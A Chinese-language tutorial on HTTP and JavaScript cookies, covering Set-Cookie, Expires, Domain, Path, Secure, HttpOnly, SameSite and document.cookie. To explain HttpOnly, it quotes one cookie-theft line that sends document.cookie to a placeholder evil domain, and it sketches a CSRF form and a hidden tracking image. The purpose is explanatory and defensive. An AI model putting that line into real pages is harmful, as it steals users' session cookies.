JavaScript Cookie

2023-03-20 15:46 更新

概述 

Cookie 是服務(wù)器保存在瀏覽器的一小段文本信息,一般大小不能超過4KB。瀏覽器每次向服務(wù)器發(fā)出請求,就會自動附上這段信息。

HTTP 協(xié)議不帶有狀態(tài),有些請求需要區(qū)分狀態(tài),就通過 Cookie 附帶字符串,讓服務(wù)器返回不一樣的回應(yīng)。舉例來說,用戶登錄以后,服務(wù)器往往會在網(wǎng)站上留下一個(gè) Cookie,記錄用戶編號(比如id=1234),以后每次瀏覽器向服務(wù)器請求數(shù)據(jù),就會帶上這個(gè)字符串,服務(wù)器從而知道是誰在請求,應(yīng)該回應(yīng)什么內(nèi)容。

Cookie 的目的就是區(qū)分用戶,以及放置狀態(tài)信息,它的使用場景主要如下。

  • 對話(session)管理:保存登錄狀態(tài)、購物車等需要記錄的信息。
  • 個(gè)性化信息:保存用戶的偏好,比如網(wǎng)頁的字體大小、背景色等等。
  • 追蹤用戶:記錄和分析用戶行為。

Cookie 不是一種理想的客戶端存儲機(jī)制。它的容量很?。?KB),缺乏數(shù)據(jù)操作接口,而且會影響性能??蛻舳舜鎯ㄗh使用 Web storage API 和 IndexedDB。只有那些每次請求都需要讓服務(wù)器知道的信息,才應(yīng)該放在 Cookie 里面。

每個(gè) Cookie 都有以下幾方面的元數(shù)據(jù)。

  • Cookie 的名字
  • Cookie 的值(真正的數(shù)據(jù)寫在這里面)
  • 到期時(shí)間(超過這個(gè)時(shí)間會失效)
  • 所屬域名(默認(rèn)為當(dāng)前域名)
  • 生效的路徑(默認(rèn)為當(dāng)前網(wǎng)址)

舉例來說,用戶訪問網(wǎng)址www.example.com,服務(wù)器在瀏覽器寫入一個(gè) Cookie。這個(gè) Cookie 的所屬域名為www.example.com,生效路徑為根路徑/。

如果 Cookie 的生效路徑設(shè)為/forums,那么這個(gè) Cookie 只有在訪問www.example.com/forums及其子路徑時(shí)才有效。以后,瀏覽器訪問某個(gè)路徑之前,就會找出對該域名和路徑有效,并且還沒有到期的 Cookie,一起發(fā)送給服務(wù)器。

用戶可以設(shè)置瀏覽器不接受 Cookie,也可以設(shè)置不向服務(wù)器發(fā)送 Cookie。window.navigator.cookieEnabled屬性返回一個(gè)布爾值,表示瀏覽器是否打開 Cookie 功能。

window.navigator.cookieEnabled // true

document.cookie屬性返回當(dāng)前網(wǎng)頁的 Cookie。

document.cookie // "id=foo;key=bar"

不同瀏覽器對 Cookie 數(shù)量和大小的限制,是不一樣的。一般來說,單個(gè)域名設(shè)置的 Cookie 不應(yīng)超過30個(gè),每個(gè) Cookie 的大小不能超過 4KB。超過限制以后,Cookie 將被忽略,不會被設(shè)置。

Cookie 是按照域名區(qū)分的,foo.com只能讀取自己放置的 Cookie,無法讀取其他網(wǎng)站(比如bar.com)放置的 Cookie。一般情況下,一級域名也不能讀取二級域名留下的 Cookie,比如mydomain.com不能讀取subdomain.mydomain.com設(shè)置的 Cookie。但是有一個(gè)例外,設(shè)置 Cookie 的時(shí)候(不管是一級域名設(shè)置的,還是二級域名設(shè)置的),明確將domain屬性設(shè)為一級域名,則這個(gè)域名下面的各級域名可以共享這個(gè) Cookie。

Set-Cookie: name=value; domain=mydomain.com

上面示例中,設(shè)置 Cookie 時(shí),domain屬性設(shè)為mydomain.com,那么各級的子域名和一級域名都可以讀取這個(gè) Cookie。

注意,區(qū)分 Cookie 時(shí)不考慮協(xié)議和端口。也就是說,http://example.com設(shè)置的 Cookie,可以被https://example.comhttp://example.com:8080讀取。

Cookie 由 HTTP 協(xié)議生成,也主要是供 HTTP 協(xié)議使用。

HTTP 回應(yīng):Cookie 的生成 

服務(wù)器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應(yīng)的頭信息里面,放置一個(gè)Set-Cookie字段。

Set-Cookie:foo=bar

上面代碼會在瀏覽器保存一個(gè)名為foo的 Cookie,它的值為bar。

HTTP 回應(yīng)可以包含多個(gè)Set-Cookie字段,即在瀏覽器生成多個(gè) Cookie。下面是一個(gè)例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段還可以附加 Cookie 的屬性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的幾個(gè)屬性的含義,將在后文解釋。

一個(gè)Set-Cookie字段里面,可以同時(shí)包括多個(gè)屬性,沒有次序的要求。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一個(gè)例子。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服務(wù)器想改變一個(gè)早先設(shè)置的 Cookie,必須同時(shí)滿足四個(gè)條件:Cookie 的key、domain、pathsecure都匹配。舉例來說,如果原始的 Cookie 是用如下的Set-Cookie設(shè)置的。

Set-Cookie: key1=value1; domain=example.com; path=/blog

改變上面這個(gè) Cookie 的值,就必須使用同樣的Set-Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一個(gè)屬性不同,就會生成一個(gè)全新的 Cookie,而不是替換掉原來那個(gè) Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令設(shè)置了一個(gè)全新的同名 Cookie,但是path屬性不一樣。下一次訪問example.com/blog的時(shí)候,瀏覽器將向服務(wù)器發(fā)送兩個(gè)同名的 Cookie。

Cookie: key1=value1; key1=value2

上面代碼的兩個(gè) Cookie 是同名的,匹配越精確的 Cookie 排在越前面。

HTTP 請求:Cookie 的發(fā)送 

瀏覽器向服務(wù)器發(fā)送 HTTP 請求時(shí),每個(gè)請求都會帶上相應(yīng)的 Cookie。也就是說,把服務(wù)器早前保存在瀏覽器的這段信息,再發(fā)回服務(wù)器。這時(shí)要使用 HTTP 頭信息的Cookie字段。

Cookie: foo=bar

上面代碼會向服務(wù)器發(fā)送名為foo的 Cookie,值為bar

Cookie字段可以包含多個(gè) Cookie,使用分號(;)分隔。

Cookie: name=value; name2=value2; name3=value3

下面是一個(gè)例子。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服務(wù)器收到瀏覽器發(fā)來的 Cookie 時(shí),有兩點(diǎn)是無法知道的。

  • Cookie 的各種屬性,比如何時(shí)過期。
  • 哪個(gè)域名設(shè)置的 Cookie,到底是一級域名設(shè)的,還是某一個(gè)二級域名設(shè)的。

Expires,Max-Age 

Expires屬性指定一個(gè)具體的到期時(shí)間,到了指定時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()進(jìn)行格式轉(zhuǎn)換。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不設(shè)置該屬性,或者設(shè)為null,Cookie 只在當(dāng)前會話(session)有效,瀏覽器窗口一旦關(guān)閉,當(dāng)前 Session 結(jié)束,該 Cookie 就會被刪除。另外,瀏覽器根據(jù)本地時(shí)間,決定 Cookie 是否過期,由于本地時(shí)間是不精確的,所以沒有辦法保證 Cookie 一定會在服務(wù)器指定的時(shí)間過期。

Max-Age屬性指定從現(xiàn)在開始 Cookie 存在的秒數(shù),比如60 * 60 * 24 * 365(即一年)。過了這個(gè)時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie。

如果同時(shí)指定了ExpiresMax-Age,那么Max-Age的值將優(yōu)先生效。

如果Set-Cookie字段沒有指定ExpiresMax-Age屬性,那么這個(gè) Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關(guān)閉瀏覽器,瀏覽器就不會再保留這個(gè) Cookie。

Domain,Path 

Domain屬性指定 Cookie 屬于哪個(gè)域名,以后瀏覽器向服務(wù)器發(fā)送 HTTP 請求時(shí),通過這個(gè)屬性判斷是否要附帶某個(gè) Cookie。

服務(wù)器設(shè)定 Cookie 時(shí),如果沒有指定 Domain 屬性,瀏覽器會默認(rèn)將其設(shè)為瀏覽器的當(dāng)前域名。如果當(dāng)前域名是一個(gè) IP 地址,則不得設(shè)置 Domain 屬性。

如果指定 Domain 屬性,需要遵守下面規(guī)則:Domain 屬性只能是當(dāng)前域名或者當(dāng)前域名的上級域名,但設(shè)為上級域名時(shí),不能設(shè)為頂級域名或公共域名。(頂級域名指的是 .com、.net 這樣的域名,公共域名指的是開放給外部用戶設(shè)置子域名的域名,比如 github.io。)如果不符合上面這條規(guī)則,瀏覽器會拒絕設(shè)置這個(gè) Cookie。

舉例來說,當(dāng)前域名為x.y.z.com,那么 Domain 屬性可以設(shè)為x.y.z.com,或者y.z.com,或者z.com,但不能設(shè)為foo.x.y.z.com,或者another.domain.com。

另一個(gè)例子是,當(dāng)前域名為wangdoc.github.io,則 Domain 屬性只能設(shè)為wangdoc.github.io,不能設(shè)為github.io,因?yàn)楹笳呤且粋€(gè)公共域名。

瀏覽器發(fā)送 Cookie 時(shí),Domain 屬性必須與當(dāng)前域名一致,或者是當(dāng)前域名的上級域名(公共域名除外)。比如,Domain 屬性是y.z.com,那么適用于y.z.comx.y.z.com、foo.x.y.z.com等域名。再比如,Domain 屬性是公共域名github.io,那么只適用于github.io這個(gè)域名本身,不適用于它的子域名wangdoc.github.io。

Path屬性指定瀏覽器發(fā)出 HTTP 請求時(shí),哪些路徑要附帶這個(gè) Cookie。只要瀏覽器發(fā)現(xiàn),Path屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個(gè) Cookie。比如,Path屬性是/,那么請求/docs路徑也會包含該 Cookie。當(dāng)然,前提是 Domain 屬性必須符合條件。

Secure,HttpOnly 

Secure屬性指定瀏覽器只有在加密協(xié)議 HTTPS 下,才能將這個(gè) Cookie 發(fā)送到服務(wù)器。另一方面,如果當(dāng)前協(xié)議是 HTTP,瀏覽器會自動忽略服務(wù)器發(fā)來的Secure屬性。該屬性只是一個(gè)開關(guān),不需要指定值。如果通信是 HTTPS 協(xié)議,該開關(guān)自動打開。

HttpOnly屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是document.cookie屬性、XMLHttpRequest對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發(fā)出 HTTP 請求時(shí),才會帶上該 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站點(diǎn)載入的一個(gè)惡意腳本的代碼,能夠?qū)?dāng)前網(wǎng)頁的 Cookie 發(fā)往第三方服務(wù)器。如果設(shè)置了一個(gè) Cookie 的HttpOnly屬性,上面代碼就不會讀到該 Cookie。

SameSite 

Chrome 51 開始,瀏覽器的 Cookie 新增加了一個(gè)SameSite屬性,用來防止 CSRF 攻擊和用戶追蹤。

Cookie 往往用來存儲用戶的身份信息,惡意網(wǎng)站可以設(shè)法偽造帶有正確 Cookie 的 HTTP 請求,這就是 CSRF 攻擊。舉例來說,用戶登陸了銀行網(wǎng)站your-bank.com,銀行服務(wù)器發(fā)來了一個(gè) Cookie。

Set-Cookie:id=a3fWa;

用戶后來又訪問了惡意網(wǎng)站malicious.com,上面有一個(gè)表單。

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用戶一旦被誘騙發(fā)送這個(gè)表單,銀行網(wǎng)站就會收到帶有正確 Cookie 的請求。為了防止這種攻擊,官網(wǎng)的表單一般都帶有一個(gè)隨機(jī) token,官網(wǎng)服務(wù)器通過驗(yàn)證這個(gè)隨機(jī) token,確認(rèn)是否為真實(shí)請求。

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

這種第三方網(wǎng)站引導(dǎo)而附帶發(fā)送的 Cookie,就稱為第三方 Cookie。它除了用于 CSRF 攻擊,還可以用于用戶追蹤。比如,F(xiàn)acebook 在第三方網(wǎng)站插入一張看不見的圖片。

<img src="facebook.com" style="visibility:hidden;">

瀏覽器加載上面代碼時(shí),就會向 Facebook 發(fā)出帶有 Cookie 的請求,從而 Facebook 就會知道你是誰,訪問了什么網(wǎng)站。

Cookie 的SameSite屬性用來限制第三方 Cookie,從而減少安全風(fēng)險(xiǎn)。它可以設(shè)置三個(gè)值。

  • Strict
  • Lax
  • None

(1)Strict

Strict最為嚴(yán)格,完全禁止第三方 Cookie,跨站點(diǎn)時(shí),任何情況下都不會發(fā)送 Cookie。換言之,只有當(dāng)前網(wǎng)頁的 URL 與請求目標(biāo)一致,才會帶上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

這個(gè)規(guī)則過于嚴(yán)格,可能造成非常不好的用戶體驗(yàn)。比如,當(dāng)前網(wǎng)頁有一個(gè) GitHub 鏈接,用戶點(diǎn)擊跳轉(zhuǎn)就不會帶有 GitHub 的 Cookie,跳轉(zhuǎn)過去總是未登陸狀態(tài)。

(2)Lax

Lax規(guī)則稍稍放寬,大多數(shù)情況也是不發(fā)送第三方 Cookie,但是導(dǎo)航到目標(biāo)網(wǎng)址的 Get 請求除外。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

導(dǎo)航到目標(biāo)網(wǎng)址的 GET 請求,只包括三種情況:鏈接,預(yù)加載請求,GET 表單。詳見下表。

請求類型 示例 正常情況 Lax
鏈接 <a href="..."></a> 發(fā)送 Cookie 發(fā)送 Cookie
預(yù)加載 <link rel="prerender" href="..."/> 發(fā)送 Cookie 發(fā)送 Cookie
GET 表單 <form method="GET" action="..."> 發(fā)送 Cookie 發(fā)送 Cookie
POST 表單 <form method="POST" action="..."> 發(fā)送 Cookie 不發(fā)送
iframe <iframe src="..."></iframe> 發(fā)送 Cookie 不發(fā)送
AJAX $.get("...") 發(fā)送 Cookie 不發(fā)送
Image <img src="..."> 發(fā)送 Cookie 不發(fā)送

設(shè)置了StrictLax以后,基本就杜絕了 CSRF 攻擊。當(dāng)然,前提是用戶瀏覽器支持 SameSite 屬性。

(3)None

Chrome 計(jì)劃將Lax變?yōu)槟J(rèn)設(shè)置。這時(shí),網(wǎng)站可以選擇顯式關(guān)閉SameSite屬性,將其設(shè)為None。不過,前提是必須同時(shí)設(shè)置Secure屬性(Cookie 只能通過 HTTPS 協(xié)議發(fā)送),否則無效。

下面的設(shè)置無效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的設(shè)置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

document.cookie 

document.cookie屬性用于讀寫當(dāng)前網(wǎng)頁的 Cookie。

讀取的時(shí)候,它會返回當(dāng)前網(wǎng)頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly屬性。

document.cookie // "foo=bar;baz=bar"

上面代碼從document.cookie一次性讀出兩個(gè) Cookie,它們之間使用分號分隔。必須手動還原,才能取出每一個(gè) Cookie 的值。

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie屬性是可寫的,可以通過它為當(dāng)前網(wǎng)站添加 Cookie。

document.cookie = 'fontSize=14';

寫入的時(shí)候,Cookie 的值必須寫成key=value的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie 的時(shí)候,必須對分號、逗號和空格進(jìn)行轉(zhuǎn)義(它們都不允許作為 Cookie 的值),這可以用encodeURIComponent方法達(dá)到。

但是,document.cookie一次只能寫入一個(gè) Cookie,而且寫入并不是覆蓋,而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個(gè) Cookie),與 HTTP 協(xié)議的 Cookie 通信格式有關(guān)。瀏覽器向服務(wù)器發(fā)送 Cookie 的時(shí)候,Cookie字段是使用一行將所有 Cookie 全部發(fā)送;服務(wù)器向?yàn)g覽器設(shè)置 Cookie 的時(shí)候,Set-Cookie字段是一行設(shè)置一個(gè) Cookie。

寫入 Cookie 的時(shí)候,可以一起寫入 Cookie 的屬性。

document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代碼中,寫入 Cookie 的時(shí)候,同時(shí)設(shè)置了expires屬性。屬性值的等號兩邊,也是不能有空格的。

各個(gè)屬性的寫入注意點(diǎn)如下。

  • path屬性必須為絕對路徑,默認(rèn)為當(dāng)前路徑。
  • domain屬性值必須是當(dāng)前發(fā)送 Cookie 的域名的一部分。比如,當(dāng)前域名是example.com,就不能將其設(shè)為foo.com。該屬性默認(rèn)為當(dāng)前的一級域名(不含二級域名)。如果顯式設(shè)置該屬性,則該域名的任意子域名也可以讀取 Cookie。
  • max-age屬性的值為秒數(shù)。
  • expires屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()進(jìn)行日期格式轉(zhuǎn)換。

document.cookie寫入 Cookie 的例子如下。

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=example.com';

注意,上面的domain屬性,以前的寫法是.example.com,表示子域名也可以讀取該 Cookie,新的寫法可以省略前面的點(diǎn)。

Cookie 的屬性一旦設(shè)置完成,就沒有辦法讀取這些屬性的值。

刪除一個(gè)現(xiàn)存 Cookie 的唯一方法,是設(shè)置它的expires屬性為一個(gè)過去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代碼中,名為fontSize的 Cookie 的值為空,過期時(shí)間設(shè)為1970年1月1月零點(diǎn),就等同于刪除了這個(gè) Cookie。

參考鏈接 


以上內(nèi)容是否對您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號
微信公眾號

編程獅公眾號